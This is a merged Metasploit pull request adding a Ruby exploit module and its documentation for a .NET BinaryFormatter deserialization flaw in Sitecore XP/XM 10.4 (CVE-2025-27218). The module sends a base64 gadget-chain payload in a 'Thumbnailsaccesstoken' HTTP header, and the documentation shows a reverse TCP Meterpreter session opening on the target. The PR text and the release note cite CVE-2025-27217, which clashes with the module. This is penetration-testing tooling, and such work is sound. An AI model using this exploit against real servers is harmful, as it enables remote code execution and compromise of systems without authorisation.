Repository: rapid7/metasploit-framework
Pull request #19947: Create sitecore_xp_cve_2025_27218.rb
Author: login: machang-r7
Labels: name: module
name: docs
name: rn-modules
description: release notes for new or majorly enhanced modules
Created: 2025-03-05T23:03:30Z | Merged: 2025-03-28T14:40:29Z

Module exploits CVE-2025-27217, a .NET deserialization vulnerability for Sitecore. 

Couldn't figure out any checks. 

All it does is generate a serialized .NET object with the payload in it, then sends it in a HTTP header. 

The exploit works when browsing to Sitecore pages, so any HTTP status code other than 200 in the response most likely means the request failed. 



Diff:
diff --git a/documentation/modules/exploit/windows/http/sitecore_xp_cve_2025_27218.md b/documentation/modules/exploit/windows/http/sitecore_xp_cve_2025_27218.md
new file mode 100644
index 0000000000000..b39ce59408b6f
--- /dev/null
+++ b/documentation/modules/exploit/windows/http/sitecore_xp_cve_2025_27218.md
@@ -0,0 +1,45 @@
+## Vulnerable Application
+This module exploits a .NET deserialization vulnerability in Sitecore Experience Manager (XM) and Experience
+Platform (XP) 10.4 before KB1002844 by injecting a malicious Base64-encoded BinaryFormatter payload into an HTTP header.
+
+### Setup
+The SiteCore installer can be downloaded from the [downloads page](https://developers.sitecore.com/downloads/Sitecore_Experience_Platform/104/Sitecore_Experience_Platform_104).
+Note that a license is required to run the application.
+
+## Verification Steps
+
+1. Start msfconsole
+2. Do: `use windows/http/sitecore_xp_cve_2025_27218`
+3. Set the `RHOST` abd `LHOST`, options
+4. Run the module
+5. Receive a Meterpreter session as the `IIS APPPOOL\XP0.sc` user.
+
+## Scenarios
+### SiteCore XP 10.4.0 Revision 010422 running on Windows Server 2022
+```
+msf6 exploit(windows/http/sitecore_xp_cve_2025_27218) > set rhost xp0.sc
+rhost => xp0.sc
+msf6 exploit(windows/http/sitecore_xp_cve_2025_27218) > set lhost 192.168.123.1
+lhost => 192.168.123.1
+msf6 exploit(windows/http/sitecore_xp_cve_2025_27218) > dns add-static xp0.sc 192.168.123.244
+[*] Added static hostname mapping xp0.sc to 192.168.123.244
+msf6 exploit(windows/http/sitecore_xp_cve_2025_27218) > run
+[*] Started reverse TCP handler on 192.168.123.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[!] The service is running, but could not be validated. The target is running SiteCore.
+[+] Server responded with 200, this probably means it worked.
+[*] Sending stage (203846 bytes) to 192.168.123.244
+[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.244:49832) at 2025-03-27 08:58:13 -0700
+
+meterpreter > getuid
+Server username: IIS APPPOOL\XP0.sc
+meterpreter > sysinfo
+Computer        : WIN-2I9LBN2Q0R5
+OS              : Windows Server 2022 (10.0 Build 20348).
+Architecture    : x64
+System Language : en_US
+Domain          : WORKGROUP
+Logged On Users : 1
+Meterpreter     : x64/windows
+meterpreter >
+```
diff --git a/modules/exploits/windows/http/sitecore_xp_cve_2025_27218.rb b/modules/exploits/windows/http/sitecore_xp_cve_2025_27218.rb
new file mode 100644
index 0000000000000..8e020bc9f7898
--- /dev/null
+++ b/modules/exploits/windows/http/sitecore_xp_cve_2025_27218.rb
@@ -0,0 +1,117 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+
+  Rank = ExcellentRanking
+
+  include Msf::Util::DotNetDeserialization
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::CmdStager
+  include Msf::Exploit::Powershell
+  prepend Msf::Exploit::Remote::AutoCheck
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Sitecore CVE-2025-27218 BinaryFormatter Deserialization Exploit',
+        'Description' => %q{
+          This module exploits a .NET deserialization vulnerability in Sitecore Experience Manager (XM) and Experience
+          Platform (XP) 10.4 by injecting a malicious Base64-encoded BinaryFormatter payload into an HTTP header.
+        },
+        'License' => MSF_LICENSE,
+        'Author' => [
+          'Dylan Pindur', # Discovery
+          'machang-r7'    # Module Creator
+        ],
+        'References' => [
+          ['CVE', '2025-27218'],
+          ['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003535'],
+          ['URL', 'https://attackerkb.com/topics/Dyo4zUm2tv/cve-2025-27218']
+        ],
+        'DisclosureDate' => '2025-01-06',
+        'DefaultTarget' => 0,
+        'Platform' => 'win',
+        'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
+        'Targets' => [
+          [
+            'Windows Command',
+            {
+              'Arch' => ARCH_CMD,
+              'Type' => :windows_command
+              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
+            }
+          ],
+          [
+            'PowerShell Stager',
+            {
+              'Arch' => [ARCH_X86, ARCH_X64],
+              'Type' => :psh_stager
+              # tested with windows/x64/meterpreter/reverse_tcp
+            }
+          ]
+        ],
+        'DefaultOptions' => {
+          'RPORT' => 443,
+          'SSL' => true
+        },
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => [IOC_IN_LOGS]
+        }
+      )
+    )
+    register_options([
+      OptString.new('TARGETURI', [true, 'Path to the vulnerable endpoint', '/'])
+    ])
+  end
+
+  def check
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path),
+      'method' => 'GET'
+    })
+
+    if res&.code == 200 && res&.get_html_document&.at('//title')&.text&.strip == 'Welcome to Sitecore'
+      CheckCode::Detected('The target is running SiteCore.')
+    else
+      CheckCode::Safe('The target does not appear to be running SiteCore.')
+    end
+  end
+
+  def exploit
+    case target['Type']
+    when :windows_command
+      execute_command(payload.encoded)
+    when :psh_stager
+      execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))
+    end
+  end
+
+  def execute_command(cmd, _opts = {})
+    sploit = Rex::Text.encode_base64(::Msf::Util::DotNetDeserialization.generate(
+      cmd,
+      gadget_chain: :WindowsIdentity,
+      formatter: :BinaryFormatter
+    ))
+
+    # Build HTTP request with malicious header
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path),
+      'method' => 'GET',
+      'headers' => {
+        'Thumbnailsaccesstoken' => sploit
+      }
+    })
+
+    if res && res.code == 200
+      print_good('Server responded with 200, this probably means it worked.')
+    else
+      print_error("Server didn't respond with 200. Try setting the target URL to a valid page.")
+    end
+  end
+end


Reviews:
user: login: sjanusz-r7
state: COMMENTED
author_association: CONTRIBUTOR
submitted_at: 2025-03-06T15:32:55Z
user: login: dledda-r7
body: Looks good.
state: APPROVED
author_association: CONTRIBUTOR
submitted_at: 2025-03-28T10:38:28Z

Review comments:
diff_hunk: @@ -0,0 +1,99 @@
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+    Rank = NormalRanking
+    include Msf::Util::DotNetDeserialization
+    include Msf::Exploit::Remote::HttpClient
+    include Msf::Exploit::CmdStager
+    include Msf::Exploit::Powershell
+
+    def initialize(info = {})
+        super(update_info(info,
+            'Name'           => 'Sitecore CVE-2025-27218 BinaryFormatter Deserialization Exploit',
+            'Description'    => %q{
+                This module exploits a .NET deserialization vulnerability in Sitecore Experience Manager (XM) and Experience Platform (XP) 10.4  by injecting a malicious Base64-encoded
+                BinaryFormatter payload into an HTTP header.
+            },
+            'License'        => MSF_LICENSE,
+            'Author'         => ['machang-r7'], # Module Creator
+            'References'     => [
+                ['CVE', '2025-27218'],
+                ['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003535'],
+                ['URL', 'https://attackerkb.com/topics/Dyo4zUm2tv/cve-2025-27218']
+            ],
+            'DisclosureDate' => '2025-01-06',
+            'DefaultTarget'  => 0,
+            'Platform' => 'win',
+            'Arch' => [ARCH_X86, ARCH_X64],
+            #I don't know why these are the only payloads that worked. 
+            'Targets' => [
+                [
+                  'Windows Command',
+                  {
+                    'Arch' => ARCH_CMD,
+                    'Type' => :windows_command,
+                    'Space' => 3000,
+                    'DefaultOptions' => {
+                      'PAYLOAD' => 'cmd/windows/generic'
+                    }
+                }
+                ],
+                [
+                   'PowerShell Stager',
+                    {
+                      'Arch' => [ARCH_X86, ARCH_X64],
+                      'Type' => :psh_stager,
+                      'DefaultOptions' => {
+                        'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
+                      }
+                    }
+                  ]
+            ],
+
+
+            'DefaultOptions' => {
+            'RPORT' => 443,
+            'SSL' => true
+            }
+
+        ))
+
+        register_options([
+            Opt::RPORT(443),
+            OptString.new('TARGETURI', [true, 'Path to the vulnerable endpoint', '/'])
+        ])
+    end
+
+    def exploit
path: modules/exploits/windows/http/sitecore_xp_cve_2025_27218.rb
user: login: sjanusz-r7
body: For a `def check` method, we could have:
- A sleep command, then checking if the response from the server comes back after the `sleep` time. This would only work if the server execution is synchronous.
- If we can make sure the website is `Sitecore` and perform a version check from the response/page body, we could have a `returns CheckCode::Detected` as a check result.
created_at: 2025-03-06T15:24:59Z
author_association: CONTRIBUTOR
diff_hunk: @@ -0,0 +1,99 @@
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+    Rank = NormalRanking
+    include Msf::Util::DotNetDeserialization
+    include Msf::Exploit::Remote::HttpClient
+    include Msf::Exploit::CmdStager
+    include Msf::Exploit::Powershell
+
+    def initialize(info = {})
+        super(update_info(info,
+            'Name'           => 'Sitecore CVE-2025-27218 BinaryFormatter Deserialization Exploit',
+            'Description'    => %q{
+                This module exploits a .NET deserialization vulnerability in Sitecore Experience Manager (XM) and Experience Platform (XP) 10.4  by injecting a malicious Base64-encoded
+                BinaryFormatter payload into an HTTP header.
+            },
+            'License'        => MSF_LICENSE,
+            'Author'         => ['machang-r7'], # Module Creator
+            'References'     => [
+                ['CVE', '2025-27218'],
+                ['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003535'],
+                ['URL', 'https://attackerkb.com/topics/Dyo4zUm2tv/cve-2025-27218']
+            ],
+            'DisclosureDate' => '2025-01-06',
+            'DefaultTarget'  => 0,
+            'Platform' => 'win',
+            'Arch' => [ARCH_X86, ARCH_X64],
+            #I don't know why these are the only payloads that worked. 
+            'Targets' => [
+                [
+                  'Windows Command',
+                  {
+                    'Arch' => ARCH_CMD,
+                    'Type' => :windows_command,
+                    'Space' => 3000,
+                    'DefaultOptions' => {
+                      'PAYLOAD' => 'cmd/windows/generic'
+                    }
+                }
+                ],
+                [
+                   'PowerShell Stager',
+                    {
+                      'Arch' => [ARCH_X86, ARCH_X64],
+                      'Type' => :psh_stager,
+                      'DefaultOptions' => {
+                        'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
+                      }
+                    }
+                  ]
+            ],
+
+
+            'DefaultOptions' => {
+            'RPORT' => 443,
+            'SSL' => true
+            }
+
+        ))
+
+        register_options([
+            Opt::RPORT(443),
+            OptString.new('TARGETURI', [true, 'Path to the vulnerable endpoint', '/'])
+        ])
+    end
+
+    def exploit
+      case target['Type']
+      when :windows_command
+        execute_command(payload.encoded)
+      when :psh_stager
+        execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))
+      end
+    end
+
+    def execute_command(cmd, _opts = {})
+      sploit = Rex::Text.encode_base64(::Msf::Util::DotNetDeserialization.generate(
+        cmd,
+        gadget_chain: :WindowsIdentity,
+        formatter: :BinaryFormatter
+      ))
+          
+
+          # Build HTTP request with malicious header
+          res = send_request_cgi({
path: modules/exploits/windows/http/sitecore_xp_cve_2025_27218.rb
user: login: sjanusz-r7
body: The indentation here is a little off.
Seeing how the linting workflow is also currently failing, we can run `rubocop` on the module in the metasploit-framework directory (might need to prefix the rubocop command with `bundle exec`):
```
1 file inspected, 41 offenses detected, 40 offenses autocorrectable
modules/exploits/windows/http/sitecore_xp_cve_2025_27218.rb - [ERROR] Rubocop failed. Please run rubocop -a modules/exploits/windows/http/sitecore_xp_cve_2025_27218.rb and verify all issues are resolved
```
created_at: 2025-03-06T15:26:10Z
author_association: CONTRIBUTOR
diff_hunk: @@ -0,0 +1,99 @@
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+    Rank = NormalRanking
+    include Msf::Util::DotNetDeserialization
+    include Msf::Exploit::Remote::HttpClient
+    include Msf::Exploit::CmdStager
+    include Msf::Exploit::Powershell
+
+    def initialize(info = {})
+        super(update_info(info,
+            'Name'           => 'Sitecore CVE-2025-27218 BinaryFormatter Deserialization Exploit',
+            'Description'    => %q{
+                This module exploits a .NET deserialization vulnerability in Sitecore Experience Manager (XM) and Experience Platform (XP) 10.4  by injecting a malicious Base64-encoded
+                BinaryFormatter payload into an HTTP header.
+            },
+            'License'        => MSF_LICENSE,
+            'Author'         => ['machang-r7'], # Module Creator
+            'References'     => [
+                ['CVE', '2025-27218'],
+                ['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003535'],
+                ['URL', 'https://attackerkb.com/topics/Dyo4zUm2tv/cve-2025-27218']
+            ],
+            'DisclosureDate' => '2025-01-06',
+            'DefaultTarget'  => 0,
+            'Platform' => 'win',
+            'Arch' => [ARCH_X86, ARCH_X64],
+            #I don't know why these are the only payloads that worked. 
+            'Targets' => [
+                [
+                  'Windows Command',
+                  {
+                    'Arch' => ARCH_CMD,
+                    'Type' => :windows_command,
+                    'Space' => 3000,
path: modules/exploits/windows/http/sitecore_xp_cve_2025_27218.rb
user: login: sjanusz-r7
body: ```suggestion
```
created_at: 2025-03-06T15:27:37Z
author_association: CONTRIBUTOR
diff_hunk: @@ -0,0 +1,99 @@
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+    Rank = NormalRanking
+    include Msf::Util::DotNetDeserialization
+    include Msf::Exploit::Remote::HttpClient
+    include Msf::Exploit::CmdStager
+    include Msf::Exploit::Powershell
+
+    def initialize(info = {})
+        super(update_info(info,
+            'Name'           => 'Sitecore CVE-2025-27218 BinaryFormatter Deserialization Exploit',
+            'Description'    => %q{
+                This module exploits a .NET deserialization vulnerability in Sitecore Experience Manager (XM) and Experience Platform (XP) 10.4  by injecting a malicious Base64-encoded
+                BinaryFormatter payload into an HTTP header.
+            },
+            'License'        => MSF_LICENSE,
+            'Author'         => ['machang-r7'], # Module Creator
+            'References'     => [
+                ['CVE', '2025-27218'],
+                ['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003535'],
+                ['URL', 'https://attackerkb.com/topics/Dyo4zUm2tv/cve-2025-27218']
+            ],
+            'DisclosureDate' => '2025-01-06',
+            'DefaultTarget'  => 0,
+            'Platform' => 'win',
+            'Arch' => [ARCH_X86, ARCH_X64],
+            #I don't know why these are the only payloads that worked. 
+            'Targets' => [
path: modules/exploits/windows/http/sitecore_xp_cve_2025_27218.rb
user: login: sjanusz-r7
body: Would a Windows Fetch payload work here, with the default `curl` option?
created_at: 2025-03-06T15:28:19Z
author_association: CONTRIBUTOR
diff_hunk: @@ -0,0 +1,99 @@
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+    Rank = NormalRanking
+    include Msf::Util::DotNetDeserialization
+    include Msf::Exploit::Remote::HttpClient
+    include Msf::Exploit::CmdStager
+    include Msf::Exploit::Powershell
+
+    def initialize(info = {})
+        super(update_info(info,
+            'Name'           => 'Sitecore CVE-2025-27218 BinaryFormatter Deserialization Exploit',
+            'Description'    => %q{
+                This module exploits a .NET deserialization vulnerability in Sitecore Experience Manager (XM) and Experience Platform (XP) 10.4  by injecting a malicious Base64-encoded
+                BinaryFormatter payload into an HTTP header.
+            },
+            'License'        => MSF_LICENSE,
+            'Author'         => ['machang-r7'], # Module Creator
+            'References'     => [
+                ['CVE', '2025-27218'],
+                ['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003535'],
+                ['URL', 'https://attackerkb.com/topics/Dyo4zUm2tv/cve-2025-27218']
+            ],
+            'DisclosureDate' => '2025-01-06',
+            'DefaultTarget'  => 0,
+            'Platform' => 'win',
+            'Arch' => [ARCH_X86, ARCH_X64],
path: modules/exploits/windows/http/sitecore_xp_cve_2025_27218.rb
user: login: sjanusz-r7
body: We use `ARCH_CMD` as a `Windows Command` target, so we can add it here:
```suggestion
            'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
```
created_at: 2025-03-06T15:30:12Z
author_association: CONTRIBUTOR
diff_hunk: @@ -0,0 +1,99 @@
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+    Rank = NormalRanking
+    include Msf::Util::DotNetDeserialization
+    include Msf::Exploit::Remote::HttpClient
+    include Msf::Exploit::CmdStager
+    include Msf::Exploit::Powershell
+
+    def initialize(info = {})
+        super(update_info(info,
+            'Name'           => 'Sitecore CVE-2025-27218 BinaryFormatter Deserialization Exploit',
+            'Description'    => %q{
+                This module exploits a .NET deserialization vulnerability in Sitecore Experience Manager (XM) and Experience Platform (XP) 10.4  by injecting a malicious Base64-encoded
+                BinaryFormatter payload into an HTTP header.
+            },
+            'License'        => MSF_LICENSE,
+            'Author'         => ['machang-r7'], # Module Creator
+            'References'     => [
+                ['CVE', '2025-27218'],
+                ['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003535'],
+                ['URL', 'https://attackerkb.com/topics/Dyo4zUm2tv/cve-2025-27218']
+            ],
+            'DisclosureDate' => '2025-01-06',
+            'DefaultTarget'  => 0,
+            'Platform' => 'win',
+            'Arch' => [ARCH_X86, ARCH_X64],
+            #I don't know why these are the only payloads that worked. 
+            'Targets' => [
+                [
+                  'Windows Command',
+                  {
+                    'Arch' => ARCH_CMD,
+                    'Type' => :windows_command,
+                    'Space' => 3000,
+                    'DefaultOptions' => {
+                      'PAYLOAD' => 'cmd/windows/generic'
+                    }
+                }
+                ],
+                [
+                   'PowerShell Stager',
+                    {
+                      'Arch' => [ARCH_X86, ARCH_X64],
+                      'Type' => :psh_stager,
+                      'DefaultOptions' => {
+                        'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
+                      }
+                    }
+                  ]
+            ],
+
+
+            'DefaultOptions' => {
+            'RPORT' => 443,
path: modules/exploits/windows/http/sitecore_xp_cve_2025_27218.rb
user: login: sjanusz-r7
body: ```suggestion
```
created_at: 2025-03-06T15:32:40Z
author_association: CONTRIBUTOR

PR comments:
user: login: github-actions[bot]
created_at: 2025-03-10T14:41:29Z
body: Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

- [Writing Module Documentation](https://docs.metasploit.com/docs/development/quality/writing-module-documentation.html)
- [Template](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md)
- [Examples](https://github.com/rapid7/metasploit-framework/tree/master/documentation/modules)
author_association: NONE
user: login: jheysel-r7
created_at: 2025-03-28T14:40:32Z
body: # Release Notes
This adds an exploit module for CVE-2025-27217, a .NET deserialization vulnerability for Sitecore.
author_association: CONTRIBUTOR